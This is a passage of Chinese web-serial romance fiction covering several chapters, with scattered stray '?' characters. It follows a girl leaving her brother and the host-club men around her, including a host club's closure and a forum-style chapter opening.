原本厌恶着、憎恨着我?,但突然在某一天拥有了爱,认为我?是可?怜的孩子,将我?打扮成死去的孩子,然后?装作一切都没发生那样,将所有的期望安在我?的身?上。 直到幻想?破灭,露出彻底绝望的表情。 我?忽然恍然大悟。 爱,或许就是一种投射。人们?把某个理想?的影子强行安在他人身?上,然后?去爱那个自己创造出来的虚像。 “真神奇啊。”我?感慨道。 “可?惜,我?玩腻了。” “你已经?变得无趣了,至少在回忆里?,保留点有趣的样子吧。” 摩天轮再次到达底部,我?毫不犹豫地开门走了出去。 泉卓逸仍蜷缩在原地,这个恐高?症患者将再次升上高?空,不过,他大概不会感到害怕了,因为他自始至终都没敢抬起头?。 工作人员看着我?独自离开,欲言又止。 没走几步,我?看到了麦景,他等在游乐园门口的路灯下,看到我?,快步走了过来。 “小冬。” 我?:“总觉得遇到你好多?次了。” “这次不是巧合。”他坦诚地说,“我?在等你。” “你也是来恭喜我?离开的?” 他点了点头?,扯出一个笑容,却显得有些僵硬:“如果你觉得开心,那我?……也会为你开心。” 我?盯着他看了几秒,忽然觉得顺眼了不少,于是伸手戳在他的脸颊:“我?还没原谅你。” “好。”他说。 他温顺地应着,用脸颊轻轻贴了贴我?的掌心,“我?会等。如果我?变得更?有用,小冬会不会更?开心一点?” 我?不做回答,而是抱着手臂说:“现在就变有用点,用车送我?回去。” 麦景:“……” 他的眼神可?疑地飘忽了一下。 “你的车呢?” “我?……是打车来的。”他小声地说。 “那你现在完全没用啊,没用的家伙!” 我?狠狠拍了下他的脑袋,他老?实站着,任由我?打,然后?说:“我?帮你打车。” 还是有钱人好,随时?都有豪车候着,根本不用等! 我?瞥了他一眼,精气神十足地摇头?叹息,心里?却莫名轻松了些,当明星的感觉确实不错,虽然后?劲有点大,但好处是……完全不需要进食了! 这种如同漂浮在云端、晕乎乎的饱足感,超——爽! 我?和麦景并肩站在路边等车,出租车还没来,一辆醒目的外卖电瓶车却嘎吱一声停在我?们?面前。 邛浚头?顶着袋鼠耳朵头?盔,跨坐在车上,朝我?扬起一个格外灿烂的笑容:“好巧哦!等不到车吗?要不要我?送你?顺便聊聊商业合作的事,最近接了个大单,忘记跟你说了,不过有钱分——” 他朝我?眨了下眼:“要听吗?” 麦景立刻投去冰冷的目光,他对?邛浚的恶意毫不掩饰,但我?才不管这些,利落地跨上电瓶车后?座,伸手掐住他的后?颈:“快说!” 电瓶车猛地窜了出去,将麦景独自留在原地。 “就是之前的王老?板嘛,他出国了,所以我?换了条货源,成本比以前更?低,还有预付金,初步估算,这次我?们?能分这个数。” 他身?上散发着快乐的气息,忍不住一直笑,导致电瓶车在路上画起了轻微的S形。 我?被晃得一抖,立马抓住他的领子:“好好开车!” “哈哈……太?痒了。”他像被点了笑穴,咯咯笑个不停,“我?怕痒,你把手松开,我?保证好好开车。” 我?收回手后?,他果然安静下来,电瓶车十分平稳。 我?坐在后?座欣赏着冬日街景,冷风扑面,反而让我?大脑更?加清醒,愈发兴奋,一想?到即将到来的、充满未知与可?能性的新生活,我?就忍不住想?笑。 “真是个好日子啊。”邛浚迎着风大声感慨。 “我?们?都有光明的未来!” 我?得意地说:“我?要走了。” “正确的选择!人就该往高?处走!”他大声回应,风声将他的话语吹得断断续续。 “过上好日子可?别?忘了我?啊!我?可?是你的好朋友兼金牌商业伙伴,哇塞,想?想?我?们?的关系竟然这么紧密,还真有点舍不得你了。” 他说:“不过,我?们?很快会再见。” “毕竟你还得送外卖嘛。” 闻言,邛浚又忍不住笑了起来,外套被风灌得鼓胀起来,加速向前驶去。 乌云不知何时?已散去,天空湛蓝,冬日的阳光洒在身?上,暖洋洋的。 我?眯起眼睛,看着白云在头?顶缓缓飘过。 到了公寓楼下,邛浚笑嘻嘻地取下头?盔,非要抱我?一下。 他的下巴抵在我?肩膀上,呼出的气息带着冬日的微凉,浑身?上下洋溢着愉快的气息,抱的时?间有点久,我?拍了他一下,他笑了下,低头?凑近耳畔,声音不住兴奋。 他轻声说:“下次见。” 邛浚松开我?,愉快地挥挥手,骑着那辆吵吵闹闹的电瓶车远去了。 冬日的阳光照不进楼梯间,里?面仍是阴冷的,我?一步步走上台阶,越往上,光线越亮。 然而,熟悉的家门口景象却让我?顿住了脚步。 一群体?格健壮的黑衣人人几乎将走廊堵得水泄不通,乍一看,还以为是收高?利贷的,吓了我?一跳。 但他们?看到我?,立刻训练有素地让开一条通路,露出门口的景象。 浦真天僵立在门口,半晌没有动弹,表情像是敷上了一层寒冰,在光线照射下显得冷硬如石。 我?走到他身?边,他才恍惚地看向我?,下意识伸出手想?拉我?,但指尖在半途凝滞,最终只是勉强勾起唇角,声音干涩:“小冬……” 我?越过他的肩膀,看向敞开的房门。 凌乱的客厅里?,哥哥和霍亦瑀隔着不远不近的距离对?峙着。 听到动静,他们?同时?向我?看来。 哥哥的嘴唇动了动,眼中最后?一点微光,彻底熄灭了。 霍亦瑀转过身?,姿态闲适得如同在自家客厅,唇边噙着若有若无的笑意:“我?提前忙完了,顺路过来接你。” 我?迟疑道:“现在?” 难不成他在我?身?上安了监控?每次都来得好准。 “对?啊。”他语气轻松,仿佛在谈论天气。 “房子按你喜欢的风格安排好了,落地窗,视野很棒。合同也准备好了,明天你就可?以去公司看看,会有专业团队协助你处理所有琐事。另外,上次那位导演很想?再见你一面,她觉得你非常适合她新电影的主角。” 那双浅色的眸子望向我?,流转着明亮的光,他慢条斯理地问?:“你觉得呢?” 我?看向哥哥。 每日增长的黑线已经?变成茧,他几乎被浓稠的、翻滚的黑色负面情绪完全吞没,已经?到了看不清面容的地步,在客厅昏暗的光线下,像一个扭曲的、非人的影子。 当我?靠近时?,那团黑影蠕动了一下。 霍亦瑀适时?地开口,打破了凝滞的气氛:“我?在外面等你。” 他从容地走出门,却并未将门关严,留下一条欲遮欲掩的缝隙。 我?走向那团视野中的乱麻,抬起手,无形的黑线穿透我?的掌心,手指最终触摸到温热。 “哥。” 我?说:“我?要走了。” “……” 他的手猛地抬起,紧紧攥住我?的手腕,力道大得发疼,指节泛出青白色。 我?忽然想?起了刚才的摩天轮。 如果有电力驱动,它就能一直运转下去。一旦断电,虽然还会依靠惯性转动片刻,但最终,总会停下。 运动不会立即停止。 没用的物理知识突兀地跳进脑海。 作为资深的人类观察者,我?忽然有了一个新的理论。 原来是惯性啊。 人类身?上也存在这种惯性,所以才会恐惧改变,渴望停留在舒适区,如果一直依赖惯性,或许就能永远待在原地,也因此,面对?突如其来的变故,才会如此束手无策,如此痛苦。 哥哥身?上有着极强的惯性。 一直以来,‘只要两个人在一起就好了’的想?法已经?根深蒂固。 想?要改变的话,就如同切断了摩天轮的电源,让一切赖以运转的核心停止。 那么,在改变发生、电源被切断后?,那依靠惯性继续运动的短暂时?间,在人类身?上会如何体?现呢? 是此刻紧攥我?不放的手?还是浓稠得像茧一样的负面情绪?还是一些离开之后?才会发生的事? 我?还不知道答案。 或许,哥哥自己会懂。 我?又叫了他一声。 他紧攥的手力道一点点消失,最终完全松开,但仍然是一团看不清模样的、悲伤的乱麻。 就像是电影里?会出现的对?于怪物的定义,这幅模样完全称不上是人类,但是只是在我?眼里?而已,在别?人看来,他还是个正常的人。 充沛的柠檬汁水苦得令人发涩,尝一口,我?也被酸得眯起眼睛。 我?摸着他的脑袋,凭着感觉找到耳朵的位置,然后?靠近他,用只有我?们?两人能听到的声音,轻轻地说:“我?会回来的。” 很快的。我?想?,很快就会回来。 毕竟我?的身?上也同样存在着惯性。 他没有说话,我?的指尖在混沌的乱麻中触到了一点冰凉的湿润。 像被什么湿漉漉的东西舔舐了一下。 我?将手放进嘴里?,尝到了咸味。 放下手时?,霍亦瑀推开了那扇虚掩的门。 他背对?着楼道窗外灿烂的冬日阳光,向我?伸出手。 背景里?的蓝天无限蔓延,光线为他勾勒出一圈耀眼的金边,室内的阴冷仿佛瞬间被驱散。 阳光是温暖的,时?间流转,冬天的寒意随之正远去。 然后?。 惯性无声地消失了—— 作者有话说:一口气写完了,素不素很快(紧张) 越写越长,我原本打算慢慢写离开的,结果变得如此仓促,算鸟了,多写点第三人称,再见就是全员黑化修罗场了,再来点新男人,然后看男人斗蛐蛐打架[眼镜] 第69章 [极乐世界]要?倒闭了。 城中心?的商业街寸土寸金。 [极乐世界]作为一家男公关俱乐部, 处于繁华热闹地段,在?傍晚后总是热闹非凡、随时都能看见衣着不菲的女人进进出出。 一晚上销量犹如流水,来此消费多?是有钱人,有一段时间甚至成为了某些富家圈子心?照不宣的聚会场地, 在?圈内里声名赫赫。 毕竟, 它挂名的老板以前是个顶级富豪子弟。 即便家族企业如流星般陨落, 他本?人依旧带着某种破碎又迷人的光环,人脉犹在?,虽然破产,也永远比普通人好。 时值冬末, 寒意未消。 惨白的阳光缺乏温度,冰冷地铺满街道。总是灯火朦胧的俱乐部此刻门窗大开?,内部像是被?掏空了内脏。 领了工资的男公关们迷茫走出门, 回头望去,别具格调的店内装修竟显得格外?苍凉。 [极乐世界]的倒闭不是没有预兆的,十?天前就有男公关在?群里冒泡,以开?玩笑?的方式说?出这个猜想。 并?非毫无根据, 一些消息灵通、如同拥有老鼠般直觉的人,态度已悄然转变。 直到第五天,大多?数人已经心?知肚明。 [极乐世界]真的要?完了。 至于为什么?他们的情报还没灵敏到那种程度,但隐约有人猜测, 是得罪了不能得罪的人, 有些忮忌心?强的人将屎盆子扣在?了浦真天身头上。 因为大家都知道, 他前不久想要?勾搭富婆上位, 结果被?对方家里的亲戚给甩了一巴掌。 私联客人不是没有人做过,但至少在?明面上是禁忌。 店里的规矩不算少,如果每个人都恪守成规, 恐怕一辈子都只能做这繁华都市的背景板。 在?这里,只有向上爬的人才有可能抓住机会。 不少人觉得是因为浦真天,但更了解的人则有不同的看法。 他们认为,单一个浦真天还不至于引发这种雪崩,背后必有更复杂、更深层的原因。 第八天,监管局的人登门,手持盖着红色公章的文件,公事公办地通知:因违反多?项规定,责令后天关门。 具体是哪十?条规定?无人知晓,只有一句轻飘飘的、不容置疑的通知。 第十?天,店里的能拆都拆了,门口还停着随时准备开?工的拆迁队,要?把这栋三层楼建筑一起拆卸干净,彻底抹去它存在?的痕迹。 而店老板宗朔,则平静地坐在?几乎搬空的办公室里,像个局外?人般沉浸在?电脑游戏中。 不甘心?的男公关试图问清缘由,但他始终没有抬起头,戴着耳机,隔绝了外?界所?有的喧嚣。 如今,该走的已经走完了,只剩下少数几个仍然徘徊在?店内的人。 像是弃犬,在?找到方向之前,只能停留在?原地。 办公室只剩下一张孤零零的桌子,是被?留下的那张,桌面上摆放着散乱的物件。 卡通水杯、长?着长?发的羊驼玩偶、随手捏成团的涂鸦、以及风格截然不同的镶金摆件…… 寂静的房间里只有鼠标点击和键盘声,随后在?一阵激烈的声响中戛然而止。 坐着的人向后靠进椅背,习惯性地用手将额前垂落的头发向后梳,露出一张即使憔悴也难掩优越骨相?的脸,眉宇间的颓废,反而奇异地转化成了某种魅力。 宗朔摘下耳机,百无聊赖地拿起手机看了一眼。 忽略掉不停弹出的消息,他的拇指迟疑片刻,还是熟练地点进社交软件,滑到最下面的那个对话。 上次发消息是半个月前,从那之后,音讯全无。 如果加上办公室那次谈话算起,那么已经过去十?天了。 盯着屏幕上最后那条属于自己的、未得回复的消息,宗朔没什么表情地勾了下唇角,将手机屏幕朝下,扣在?桌面上。 他的视线移向剩下的摆件上,手指无意识地动了动。 办公室重归死寂。 “叩叩叩。” 门忽然被?敲响。 宗朔抬起眼皮,打了个漫长?的哈欠,抬手遮住因长?时间面对屏幕而布满血丝的眼睛,拖长?音调,懒洋洋地应道:“进。” 门应声而开?。 来人顶着一头不羁的卷毛。 四目相?对,邛浚先抬起手打了个招呼:“宗老板,好久不见,我?来拿点东西。” “……” 宗朔摸索出兜里的打火机,抽出一根烟咬在?唇间,含糊不清地说?:“该拿的都在?外?面,这里没有你要?的东西。” “真的没有吗。” 邛浚摸着下巴,他五官圆钝,天生带着股无辜气质。 “哎呀,可能是我?搞错了。不过,听说【极乐世界】在清仓,我?刚好可以帮忙处理,也省得宗老板您费心?。” “怎么样,需要帮忙吗?” 闻言,宗朔嗤笑?一声,吐出烟圈,“你来晚了,已经转手给收废品的了。” 邛浚叹了口气,真情实意般惋惜道:“真可惜啊,原以为附近没人敢收呢。” “毕竟,遭了‘天灾’嘛。” “自然有引火烧身的人,”宗朔冷眼看他,“你不就是一个?” 邛浚睁大眼睛,开?始信口胡诌,仰着一张白净无害的脸:“有钱能使鬼推磨嘛。” “而我?,是捣蛋鬼。” 他说?完,被?自己逗笑?了。 “上次的事,有你的参与吧。” 宗朔半眯着眼,烟雾模糊了眼中锐利的光,说?:“就算是私联,郭苑也没那么大本?事搭上柯谷菱,他也是个蠢货,真以为攀上了高?枝,脑瘫了才敢回来挑衅。” “哎呀。”邛浚仍然笑?着。 “怎么能这么说?呢,他好歹也是我?曾经的合作对象,带来的利益难以相?信,我?是真的喜欢和他合作……可惜,是一次性的。” 宗朔不语,将烟蒂用力摁灭在?烟灰缸里,“柯谷菱没找你麻烦?” 邛浚笑?嘻嘻地说?:“找啊,但是她大人不记小人过,但是她的前夫可就不是了,我?也是废了点劲才逃过一劫。” 他像是想到什么,眼睛弯起,脸颊上的两颗小痣随之晃动,笑?容清爽得像瓶装矿泉水。 “真得感谢我?的好朋友啊,她真是我?的福星。” 宗朔的眼神骤然冷却,握着打火机的手紧了紧,但很快松开?,将其随意丢在?桌上。 “别生气啊,老板。” 邛浚无辜地说?:“我?可没做任何害人的事。” “说?这话你都不会想笑?吗。” 宗朔转动椅子,将那张令人生厌的脸从视线里摘去,手抵着下巴,语气冷淡:“也就只有傻子才信你,把你当?朋友。” “你是说?泉卓逸吗?” 邛浚摸摸下巴,“他人呢?不当?男公关了?” 宗朔瞥了他一眼,懒得接话。 邛浚自问自答般笑?了笑?,自然地走到桌前,拿起那个羊驼玩偶,饶有兴致地打量。 “我?知道,他哥把他接回去了。本?来还想来看看他屁滚尿流的样子,结果悄无声息就消失了,看来是知道自己没脸见人,灰溜溜跑路了。” “真是看不惯啊,他哥竟然没把他丢到国外?,当?做没这个弟弟。 他叹了口气,语气带着夸张的遗憾:“人的命,怎么能这么好。” 他手指用力,将玩偶捏瘪又松开?,放回原处,指着桌上那些格格不入的小物件,“宗老板,这些不卖?” “不是我?的。” 邛浚点了点头,说?:“那就是小冬的咯。那给我?吧,我?给她寄过去。” “……” 宗朔不说?话,他就伸手去够。 但在?碰到的前一秒,一只手猛地挡在?空中,阻挡想要?够出的手。 “也轮不到你来安排。” 他说?:“你算什么东西。” 邛浚嬉皮笑?脸:“我?和小冬是好朋友啊,你不知道吗?” “所?以呢。” 宗朔嗤笑?道:“你和泉卓逸有什么两样吗?他还做过跑友,你算个屁。” “诶,”邛浚露出些许苦恼的神色,“老板,你这话,是在?说?你自己吗?” 宗朔:“滚。” “好凶。” 被?骂的人毫无自觉,摸了摸头发,白净的脸上笑?容依旧,随意挥挥手:“那再见啦,祝老板……永远不死。” 他大大咧咧地转身离开?,门也没关。 碍眼的人消失了。 宗朔仰靠在?椅背上,半闭着眼睛,任由自己沉入一片死寂,仿佛坠入深海,在?沉重粘稠的液体里翻滚,直至沉底。 这几天里,他想了太多?的事。 清醒时在?想,玩游戏时在?想,连梦境也不得安宁。 办公室里栾水冬说?过的每一句话都在?耳边循环播放,曾经相?处的片段不受控制地一幕幕闪现?,连宗朔自己都惊讶,他的记忆竟如此清晰深刻。 栾水冬。 栾水冬。 …… 一个名字是如何变成梦魇的?简简单单三个字,像淬了毒的银针,精准刺入肺叶,每一次呼吸都带着隐痛。 只是一个人、一个名字而已。 他反复告诉自己,然后在?脑里百次、千次地重复办公室的对话。 记忆清晰得可怕,连她当?时脸上每一丝细微的表情都完美重现?。 那双总是充满好奇的、纯净的黑眸,如同两潭深不见底的寒泉,专注看人时,仿佛你就是她的全世界,但一旦兴趣消退,掀开?那层薄纱,便露出彻底的无情。 轻而易举刺破人心?,轻而易举转头走人,轻而易举留下一片狼藉。 有什么是她做不到的? 宗朔拿起手机,再次翻出沉到下面的联系人,拇指轻动,进入聊天界面,在?输入框里随便打了个字符。 按下发送键。 聊天气泡旁瞬间弹出一个刺眼的红色感叹号。 喉间溢出一声意味不明的轻笑?,他捂住半张脸。 果然,没什么是她做不到的。 消息提示音突兀响起。 半晌过后,宗朔重新拿起手机。 [k.]:宗老板 [k.]:最近听到很多?风声 哟,还有更慢半拍的。 [无用户名]:她已经走了 [k.]:…… [k.]:是吗 [k.]:我?不是很关心?这个问题 [k.]:[极乐世界]关了,宗老板下一步打算做什么? 生硬无比的转折。 原以为是个不露声色的柯谷菱复制版,结果还是太年轻。 宗朔闭上眼睛,无数记忆碎片汹涌而至。数十?年人生化作漫天飞雪,彻底淹没在?这个冬天。 他要?做什么? 刚满二十?岁时,人生的曲线滑至谷底,那个时候的他也不会想到,其实还能更低。 只要?闭上眼,他仿佛就能看到栾水冬站在?烟雾缭绕的网吧里,就在?他身边,好奇地打量着屏幕里游戏界面。 她看得专注,乌黑的发丝垂落肩头,在?那脏乱的环境里,白得像一捧雪。 水冬。她真如名字一样,像冬天森林里围绕的湖水,清澈见底,却寒气刺骨,谁也无法用手暖热。 第一次见面时,他一眼便看到人群中张望着的栾水冬。 她穿着校服,好奇地环顾四周,但很快,视线穿过其他人,敏锐地、精准地捕捉到了他。 要?问到底有多?少在?意,有多?少算得上是情爱,宗朔自己也说?不清。 成为[极乐世界]老板的几年里,他见过太多?人,在?爱恨痴嗔的泥潭里挣扎,曾经年少时,他鄙夷那些为了爱而痛哭的人,看不起所?有关于爱情的电影。 一个人真的能对另一个人产生将自己贬到谷底的爱吗? 为了另一个人,能跪在?地上挽留,涕泗横流,恨不得把心?脏剖出来,只是为了得到垂怜吗? 宗朔连设想都没有过。 如果是他,在?对方率先表现?出不感兴趣前就一定会脱身离开?。 身体里永远有根朝天的骨头,就算掉进泥潭,也要?昂着头喘气。 出生到大学,他做过很长?一段时间别人嘴里的天之骄子,是踩在?塔尖的人,同样,跌落的速度自然也比任何人都快。 不甘心?吗?或许有过吧。 但在?接受现?实后,似乎也没什么大不了的。 沸腾的情感淌过胸口,没有留下任何痕迹。 曾经的朋友和身边人做出过相?同的评价:“他什么都不在?意,所?以才是宗朔啊。” 不在?意家族产业崩塌,不在?意前途渺茫,也不在?乎如今做的是备受非议、为人暗中耻笑?的行业。 宗朔在?脑海中重新阅览自己的前半生,发现?自己躺在?暴雨过后、马路中央的水洼里,只要?固执地直视天空,就能假装身下并?非污浊水洼,而是一片无法脱身的汪洋。 他躺得太久,以至于连自己的模样都变得模糊。 幻影中,一个人朝他走来。 在?倾盆大雨里,她没有撑伞,雨水却自发避让,无法沾湿她的衣角。 像雪做的孩子垂头看向他,让他不由自主屏住呼吸,被?卷入这双黑曜石般的眼睛里。 明明躺着,却生出一种会从高?空坠落的恐慌感。 她蹲下声,轻声说?:“你要?压多?少?” 万籁俱寂。 宗朔猛地睁开?双眼,如同从噩梦中惊醒,四周空寂无声,只有手机屏幕固执地亮着。 对面还等着他的回复。 他垂头沉思,耳边似乎真的能听到那句话。 片刻后,他开?始打字。 [无用户名]:男公关店多?着呢,不用担心?你妈找不到下个男公关 [无用户名]:至于我?,没什么说?的 压多?少。 他要?压多?少? 宗朔将手机关机,随手丢在?桌面上。 他在?废墟般的寂静中又坐了一会儿,忽然起身将桌面上所?有东西装进箱子里,然后出了办公室,一股脑全部丢进垃圾箱里。 剩下的几个男公关看见他,原本?想说?点什么,但他直接出门,头也不回地走了。 既然什么也不剩,那要?压的话,他会赌上全部—— 作者有话说:查询学哥败犬指数,完全无人在意啊 穷菌真的很坏,让这种人破防好难,感觉做什么他都能爽到(?) 第70章 浦真?天是被一阵窸窣声响惊醒的。 他的意识还在混沌的梦境边缘沉浮, 那声音却像一只?无形的手,猛地将他拽回现实,心脏在胸腔里慌乱地撞击,他如同?失重般惊醒, 在黑暗中急促地喘息。 午夜本该万籁俱寂, 可客厅里持续传来物品挪动的闷响, 楼下不?知哪户人家的狗被惊动,发狂地吠叫几声。 浦真?天迷迷糊糊地想,邻居怕是要投诉了。 但这个念头转瞬即逝,像投入深潭的石子, 连涟漪都未曾泛起。 他掀开被子,赤脚踩在冰凉的地板上,悄无声息地挪到门边, 手指轻轻转动门把?,将房门推开一条细缝。 客厅没开灯,只?有暗淡的月光,很难看清到底发生了什么。 但根据物品挪动的声音, 浦真?天大致猜到了客厅里的人在做什么。 他平静地看着?黑乎乎的客厅,那团犹如墨团的身影起身又蹲下,好几次走进另一间卧室,然后又走了回来, 反复机械地整理衣服。 他应该推开门出去, 至少?, 也?应该说点什么的。 可他在脑海里翻箱倒柜, 却找不?出一句话?。 浦真?天很早就认识了栾明。那时的栾明还是个半大的孩子,目光却永远胶着?在襁褓中的妹妹身上。 每次叫他出去玩,十次里最多成?功四次。 大多数时候, 栾明都待在家里,不?是做饭就是忙活家务。 小时候的他隐约觉得栾明的家很奇怪,小孩成?了大人,而大人却像小孩一样每天在外面玩,早出晚归。 再?大一点,他很庆幸自己有个不?那么糟糕的家庭,虽然穷了点,但父母相爱,妹妹调皮可爱。 其?实,他和栾明的关系并没有那么好,因为栾明太沉默,总是一副小大人的模样,所以他更喜欢和活泼一点的孩子玩。 但村子里成?绩好的只?有栾明和他,其?他孩子要么早早谋划着?打工,要么彻底放弃了走出村子的念头。 升入初中后,他们自然而然地走近了。 尽管栾明年纪稍小,浦真?天却常常需要靠他才能弄懂书本上的难题。 他们终于成?为了朋友。 但没过多久,栾明一家人中了彩票,离开村子,搬去了遥远的大城市。 再?次听到他们的消息,是在某个春节,亲戚们围坐闲聊时提起了这幸运的一家。 他们说,栾家破产了。 穷苦命接不?住横财,沾上赌博后很快输得精光,背上了几辈子都还不?清的债。 至于是怎么知道的。 因为某个亲戚想借钱,但反而被借了钱才反应过来不?对,再?打听便知道了原本,苦恼不?已,转头把?这件事告诉了所有人。 财富来得快,去得也?快。 浦真?天当?时只?感慨了一句世事无常。 然后,在考上大学的第二年,他也?尝到了相似的滋味。 如果上天想给你使绊子,它绝不?会提前通知。 一纸确证通知击垮的不?是一个人,而是家里面的所有人。 妹妹吵着?闹着?要退学去工作,说什么也?不?肯继续读书,挨了母亲一记耳光后红了眼,父亲更是一夜之间白头,同?样病倒了。 家庭的重担毫无预兆地落在了他身上。 所以…… 他没能禁受住诱惑,听从了耳边的怂恿,成?为了会被所有人唾弃的男公关。 自那以后,他再?没回过家。害怕暴露,甚至连联系都小心翼翼,偶尔汇款回去被问及近况,他只?含糊地说工作很忙,是费尽心力才得到的机会,不?能松懈。 男公关的生活表面光鲜,内里却早已被掏空。 面对新租的宽敞公寓,他总觉得空旷得可怕,仿佛阴影里藏着?不?干净的东西。 慢慢地,他爱上了毛绒玩偶,一有空就泡在游戏厅,花上一整天时间抓取玻璃柜后的娃娃。 这种日子,何时才是尽头? 浦真?天不?知道,他只?是走一步算一步地活着?。 这座城市太大,大到他发出的任何声音都在出口的瞬间被吞没,连回声都只?有自己能听见。 可这座城市又很小。 某天下夜班,他撞见了同?样刚结束工作的栾明。 在尴尬的聚餐后,浦真?天有点高兴,因为栾明是他唯一能够说话?的人,他在[极乐世界]孤身一人,同?事不?是看不?惯他,就当?他是空气?。 浦真?天也?不?是那么迟钝的人,对于别人的恶意,他像是食草动物一样,能够敏锐地察觉。 在心底里,他也不想认识其他人,尤其?是同?事。 被孤立也?好,他心底深处,同?样鄙夷着?这份低贱的职业。 栾明没问他在做什么,只是简单交谈后匆匆往家里赶。 妹妹在家里等他。 他说完后,脸上终于浮现一丝真切的笑意。 妹妹。 浦真?天已记不?清那孩子的模样,只?记得她总是安静地待在同一个地方,像个雪白的团子。 因为那双过分大而黑的眼睛,浦真?天小时候甚至有些怕她。 没过多久,他终于再?次见到了她。 那天他喝得醉醺醺,迷糊地想要开门,却被一只?横伸过来的手拦住。 栾明牵着?妹妹站在租房的门口,在昏暗的廊灯下,两人的影子交融在一起,紧密得不?容插足。 了解缘由后,浦真?天心中泛起柔软的同?情,他们的命运如此相似,他无法?袖手旁观。 妹妹从栾明身后探出脑袋,黑曜石般的眼睛向?他看来,带着?浓重的好奇,当?她走进客厅时,浦真?天下意识地开始紧张。 她坐在沙发上,乖巧地打量四周,浑然不?觉地朝他露出笑。 那一刻,浦真?天才猛然发现自己浑浑噩噩到了现在。 羞愧如潮水般将他淹没,那晚他辗转反侧,久久无法?入睡,而此后,他的睡眠再?未安稳过。 太多事情接踵而至,让他来不?及思考究竟发生了什么。 当?得知栾明父母欠下高利贷,债主追到门口时,浦真?天在一瞬间,竟然再?次感到了那种隐秘的庆幸。 随后,汹涌的、想要帮助的冲动才席卷而来。 然后。 他把?自已走过的路,指给了唯一的朋友。 然后。 一切变得顺理成?章。 现在,当?男公关似乎不?再?那么低贱了。 自那天起,浦真?天时常觉得自已可怕,他唾弃内心阴暗的念头,却又忍不?住为此庆幸。 至少?现在,有人与他同?行,同?样被命运逼迫着?走上这条歧路。 那些深藏心底的黑暗想法?,被他不?断鞭挞,却又顽固地冒头。 人,终究是难以满足的生物。 而栾明拥有他没有的东西。 妹妹。 浦真?天也?有个妹妹。 但自从母亲那记耳光,自从他成?为男公关后,兄妹关系疏远。 他们只?是普通的兄妹,因着?年龄和性?别的差异,几乎无话?可谈,大多数时候,他仅仅扮演着?一个普通的兄长?角色。 普通的反义词是异常。 他发现了异常的事情。 在他身边的这对兄妹似乎太过亲密,以至于他和两人活在同?一个空间里,也?总是像空气?般被忽视,无形的丝线将他们联系在一起,密不?可分,不?允许其?他人插足。 所以,当?妹妹的眼中第一次清晰映出他的身影时,浦真?天的第一反应不?是退避,而是停留,甚至……渴望靠近。 他是卑劣的人。 历经挣扎,他总是不?由自主地朝她倾斜,即便被栾明尖锐的敌意所伤,他内心深处仍幻想着?,或许有一天,他能真?正融入这个家,成?为他们之间的一部分。 大概是太孤单了,他想要有个家。 他得到了。 虽然只?有短短的时间,但那是他短暂的快乐时光,在灰暗的生活里少?数的光亮。 如果有不?会让所有人受伤的方式,他一定会努力尝试,因为密不?可分,所以哪一个也?不?能少?。 就这样一起生活,对他来说已经是天堂了。 越珍贵的东西破碎时就越让人痛苦。 而痛苦,是有分量差别的。 在面临无法?更改的命运时,浦真?天总是第一个适应的那个人。 无论是母亲的病症,还是现在的情况。 对比起栾明的痛苦来说,他的似乎不?值一提。 他眼睁睁看着?那个男人登门拜访,三言两语打碎了所有幻想,然后向?小冬伸出手。 狂风席卷后只?剩下一片废墟。 浦真?天在废墟的夹缝中生存完好。 而那个他短暂栖身的家已分崩离析,再?无修复的可能。 浦真?天眨了下眼睛,眼球干涩发疼,呼吸像是消失了一般,他仍然站在原地,安静地等待着?。 客厅里的动静终于停止,墨团似的人影停在沙发上,陷入长?久的沉默。 浦真?天终于推开门。 “明子。”他打破了令人窒息的沉默,“你今晚就要走吗?” “……” 过了许久,久到浦真?天以为不?会得到任何回应时,一声几乎听不?见的鼻音响起。 “嗯。” 浦真?天握着?拳头在原地站着?,他不?知道该不?该打开灯,但他害怕看到栾明的脸,像病入膏肓的绝症患者,就像他始终不?敢到家,走进母亲的病房。 他一直在逃避。 现在也?是。 “合同?的事已经解决了。”黑暗中的栾明声音犹如一阵烟,似有似无,声音沙哑,“他给你母亲的医院打了钱……你不?需要再?操心她的事。” “现在,你可以做你想做的事。” “我想做的事……” 浦真?天感到一阵恍惚。 这突如其?来的恩赐与灾难结伴而来,让人不?知该怨恨,还是该庆幸。 被困在原地的,仿佛只?剩他一个。 栾明继续说:“浦哥,谢谢你给我和小冬的帮助。感谢你在我们最困难的时候伸出援手。如果没有你,高利贷的事不?会那么顺利解决……” 每一个字都像生锈的钝刀,反复切割着?浦真?天的神经。 这番总结般的感谢辞冗长?得出奇。栾明从未如此滔滔不?绝地表达过感激,这反而让浦真?天的心越来越沉,恐慌如沼泽般将他吞噬。 “……浦哥,你帮了我们很大的忙——” “别说了!”浦真?天猛地抬高音量,打断了他。 “……” “栾明。”浦真?天的声音带着?不?易察觉的颤抖,“你在怪我,对吗?” 黑暗中的人影转过头,从脸庞到身躯都融在浓墨般的阴影里,浦真?天几乎想不?起栾明最后的样子,记不?清栾水冬离开后,他脸上究竟是何种表情。 他……还活着?吗? 浦真?天的心悬到了半空,仿佛踩在岌岌可危的钢丝上,对坠落的预感越来越强烈,几乎要在想象中化为现实。 “不?。”栾明的声音平淡无波,听不?出丝毫情绪,“我对你,什么感觉也?没有了。” 黑暗中的人影提起地上的行李箱,步履沉重地挪到月光下,他没有回头,只?是极轻地说了一句。 “真?希望一辈子都没遇到过你。” 没有道别。他的身影彻底消失在门后。 楼下的邻居果然开始叫骂,半夜亮起灯,寂静的黑夜终于被热闹撕破。 浦真?天捂着?脸,眼泪终于决堤,从指缝间无声地滑落。 家的概念彻底坍塌。 像是被丢下的弃犬,彻底找不?到方向?,只?能徘徊在原地。 直到赎罪的那一天—— 作者有话说:越写这个普普越阴湿,奇了怪了 窝将采用时间跳动大法,下一章试试论坛体[眼镜]《 》 70-75 第71章 【隔岸观火观察室】 154638纵火人 小组简介:娱乐圈那点事……可在组规范围内讨论……禁止人身攻击…… 发布规则:1.禁止发布…… [标题:谁懂姐到底何许人……谁来涛一下此女的背景……] [主楼:最近的腥风血雨我完全?没看懂……到底在吵着什么……差点把小组给封了……最近才?敢冒出?来讲话……来个人讲讲到底发生了什么] 1L 谁懂姐, 你到底是谁? 2L 组内禁发宣传贴 >2L 讨论怎么就宣传了?乘着风头过?去,我们快涛一涛 3L 看见这三个字我就来气,上一周组内封禁,我失去了多少乐趣你知道吗!我的人生都被毁掉了, 谁懂?! 4L 放个屁股 5L 其实没有腥风血雨, 只是踩到狗尾巴而已 >5L 哪里来的狗? >5L 董事们的尾巴 6L 想知道的复制到浏览器去看…… (浏览器网址) 